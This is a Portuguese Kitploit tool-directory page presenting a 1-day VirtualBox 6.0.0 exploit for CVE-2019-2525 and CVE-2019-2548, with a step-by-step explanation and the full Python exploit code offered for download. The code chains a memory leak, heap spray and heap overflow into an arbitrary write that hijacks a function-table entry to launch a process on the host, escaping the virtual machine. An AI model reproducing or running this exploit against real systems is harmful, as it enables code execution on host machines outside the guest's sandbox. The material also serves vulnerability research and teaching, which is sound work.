Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
VirtualBox-6.0.0-Exploit-1-day — CVE-2019-2525 / CVE-2019-2548 | Kitploit
Ferramentas/GitHubGitHub/wotmd/virtualbox-6.0.0-exploit-1-day
Forensia de MemóriaAnálise de VulnerabilidadesExploraçãoColeta de InformaçõesTestes de PenetraçãoExploração de Binários
GitHubwotmd/virtualbox-6.0.0-exploit-1-day

VirtualBox-6.0.0-Exploit-1-day

CVE-2019-2525 / CVE-2019-2548

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
121há 5 anosAinda não revisado

Exploit 1-day do VirtualBox 6.0.0

Vulnerabilidades do VBox a serem usadas

  • CVE-2019-2525 : crUnpackExtendGetAttribLocation Divulgação de informações
  • CVE-2019-2548 : crServerDispatchReadPixels Estouro de inteiro, levando a estouro de heap
  • estes bugs podem ser acionados ao habilitar a aceleração 3D.

Primeiro, antes da explicação, anexei um vídeo executando o exploit abaixo.

https://youtu.be/IQRLtqMgVCY?t=46

1. Memory Leak (CVE-2019-2525)

  1. Executando hgcm_connect e hgcm_disconnect várias vezes, é possível colocar na memória valores relacionados a cr_server, e, por meio de um deslocamento negativo em crUnpackExtendGetAttribLocation, fazer vazamento de memória para obter os endereços de cr_server+19056 e crVBoxHGCMDoDisconnect.
  2. Usando os valores de memória vazados acima, obtêm-se os endereços de cr_server e crSpawn.

2. Heap Spray

  1. Aplica-se Heap Spray de CRVBOXSVBUFFER_t na memória. Nesse caso, usa-se alloc_buf; como a memória é alocada de forma contígua, o pData da estrutura do buffer também é alocado logo ao lado da estrutura do buffer.
  2. Portanto, com alloc_buf(client, 0x20), cria-se um pData do mesmo tamanho de CRVBOXSVBUFFER_t.

  1. Libera um número par de Buffer IDs.

  1. Alocando alternadamente alloc_buf(client, 0x50, msg) e alloc_buf(client, 0x20, msg), preenche-se os chunks Free. O de 0x50 não é alocado no chunk liberado, sendo alocado em outra região de memória.

  1. Libera os Buffer IDs pares que possuem comprimento 0x50.

3. Corrupt Chunk (CVE-2019-2548)

  1. Utilizando o integer overflow que ocorre em crServerDispatchReadPixels, aloca-se uma estrutura de tamanho 0x20.
  • bytes_per_row = 0x1FFFFFFD / height = 8 ⇒ 0x100000020
  1. A estrutura acima é inserida na área liberada no meio da região de heap com Spray e, como o tamanho é 0x38, ocorre um Heap overflow de 0x18, permitindo modificar o uiID e o uiSize da próxima estrutura.
  • uiID = 0xdeadbeef / uiSize = 0xffffffff

  1. Usando a estrutura com o uiID modificado, é possível modificar o próximo chunk. Neste caso, como o uiSize é 0xffffffff, o próximo chunk pode ser alterado até pData com os valores desejados.
  • uiID = 0xcafebabe / uiSize = 0xffffffff / pData = valor desejado

  1. Agora, é possível definir o pData com a estrutura de uiID 0xdeadbeef e realizar um OOB Write usando a estrutura 0xcafebabe.

4. Exploit

  1. Usando OOB Write, escreve-se "xcalc" em cr_server + 0xc410.
  2. Usando OOB Write, sobrescreve-se crServerDispatchBoundsInfoCR (cr_server+0x0xae98), presente na tabela de funções, com a função crSpawn.
  3. Executa-se crServerDispatchBoundsInfoCR para chamar a função crSpawn. Nesse momento, passando como argumentos command="xcalc", argv=["endereço de xcalc", NULL], é possível escapar do VirtualBox e executar a calculadora.

Tela de resultado

Vídeo de demonstração

https://youtu.be/IQRLtqMgVCY?t=46

Código do exploit

root@kitploit:~
import sys, os
from struct import pack, unpack
sys.path.append(os.path.abspath(os.path.dirname(__file__)) + '/lib')
from chromium import *

def nop_msg():
    msg = (
        pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1)
        + "\x00\x00\x00" +chr(CR_NOP_OPCODE)
        + pack("<IIII", 0x41414141, 0x41414141, 0x41414141, 0x41414141)
        )
    return msg

def make_leak_msg(offset):
    msg = (
        pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
        + "\x00\x00\x00" +chr(CR_EXTEND_OPCODE) #opcode
        + pack("<I", offset) #packet_length
        + pack("<I", CR_GETATTRIBLOCATION_EXTEND_OPCODE) #sub opcode
        + pack("<I", 0x41424344)
        )
    return msg

def make_readpixels_msg(uiId, uiSize):#x, y, width, height, formata, ttype, pixels):
    msg = (
        pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
        + "\x00\x00\x00" +chr(CR_READPIXELS_OPCODE) #opcode
        + pack("<IIIIII", 0, 0, 0, 8, 0x35, 0) #x,y,w,h, format, type
        + pack("<IIIIIIII", 0,0,0,0,0x1ffffffd, 0, uiId, uiSize) # stride, align, skipR, skipPix, byteperrow, rowlen
        )
    return msg

def make_crSpawn_msg(cmd, argv):
    msg = (
        pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
        + "\x00\x00\x00" +chr(CR_BOUNDSINFOCR_OPCODE) #opcode
        + pack("<I", 1)
        + cmd.ljust(16, "\x00")
        + pack("<I", 0)
        + pack("<QQ", argv, 0) # argv : execute string, null
        )
    return msg

def leak_address(client):
    leak_success = False;
    while not leak_success:
    	for i in range(0, 10):
            leak_client = hgcm_connect("VBoxSharedCrOpenGL")
            hgcm_disconnect(leak_client)
        msg = make_leak_msg(0x100000000-0x9b8)
        result = crmsg(client, msg)
        if "\x7f\x00\x00" in result:
            leak = unpack('<Q', result[16:24])[0]
            if (leak%0x1000 == 0x170):
                leak_success = True
                break
    cr_server = leak - 0x4a70
    
    leak_success = False;
    while not leak_success:
        for i in range(0, 100):
            leak_client = hgcm_connect("VBoxSharedCrOpenGL")
            hgcm_disconnect(leak_client)
        msg = make_leak_msg(0x100000000-0x9b8)
        result = crmsg(client, msg)
        if "\x7f\x00\x00" in result:
            leak = unpack('<Q', result[16:24])[0]
            if (leak%0x1000 == 0x230):
                leak_success = True
                break
    crSpawn = leak - 0xbd20
    return (cr_server, crSpawn)
    
def heapSpray(client):
    buf_ids = []
    spray_ids = []
    msg = nop_msg()
    # make CRVBOXSVCBUFFER_t & pData heapSpray area
    for i in range(120):
		buf_ids.append(alloc_buf(client, 0x20, msg))
    buf_ids = buf_ids[::-1] # reverse, because fastbin is LIFO
    
    # even buf_ids free
    for idx in buf_ids[::2]:
        hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x20, 0])
    
    # fill CRVBOXSVCBUFFER_t free areas
    for i in range(40):
        spray_ids.append(alloc_buf(client, 0x50, msg))
        alloc_buf(client, 0x20, msg)
    
    # make a hole between spray area
    for idx in spray_ids[::-2]:
        hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x20, 0])

def make_corrupt_obj(pData):
    obj = (
        "A"*0x28
        + pack("<Q", 0x35)
        + pack("<I", 0xcafebabe) #uiId
        + pack("<I", 0xffffffff) #uiSize
        + pack("<Q", pData) # table_addr
        )
    return obj

def write_anywhere(addr, data):
    #make corrupt obj
    fake_buffer = make_corrupt_obj(addr)
    hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadbeef, 0xffffffff, 0, fake_buffer])
    hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xcafebabe, 0xffffffff, 0, data])

if __name__=='__main__':
    client = hgcm_connect("VBoxSharedCrOpenGL")
    set_version(client) #must use
    
    # Trigger to CVE-2019-2525
    cr_server, crSpawn = leak_address(client)
    crServerDispatchBoundsInfoCR = cr_server+0xae98
    
    print("[*] crServer : " + hex(cr_server))
    print("[*] crSpawn  : " + hex(crSpawn))
    #print("[*] crServerDispatchBoundsInfoCR : " + hex(crServerDispatchBoundsInfoCR))
    
    # heapSpray
    heapSpray(client)
    
    # Trigger to CVE-2019-2548
    msg = make_readpixels_msg(0xdeadbeef, 0xffffffff)
    crmsg(client, msg)
    #a = input("test1 : ")
   
    # setting "xcalc"
    xcalc_string = cr_server + 0xc410 
    write_anywhere(xcalc_string, "xcalc")
    print("[+] setting execute string ['xcalc'] : " + hex(xcalc_string))

    # overwrite talbe func crSpawn
    print("[+] overwriting crServerDispatchBoundsInfoCR to crSpawn")
    write_anywhere(crServerDispatchBoundsInfoCR, pack("<Q", crSpawn))

    # escape!! execute xcalc
    msg = make_crSpawn_msg("xcalc", xcalc_string)
    crmsg(client, msg)

    hgcm_disconnect(client) 

Baixar ferramenta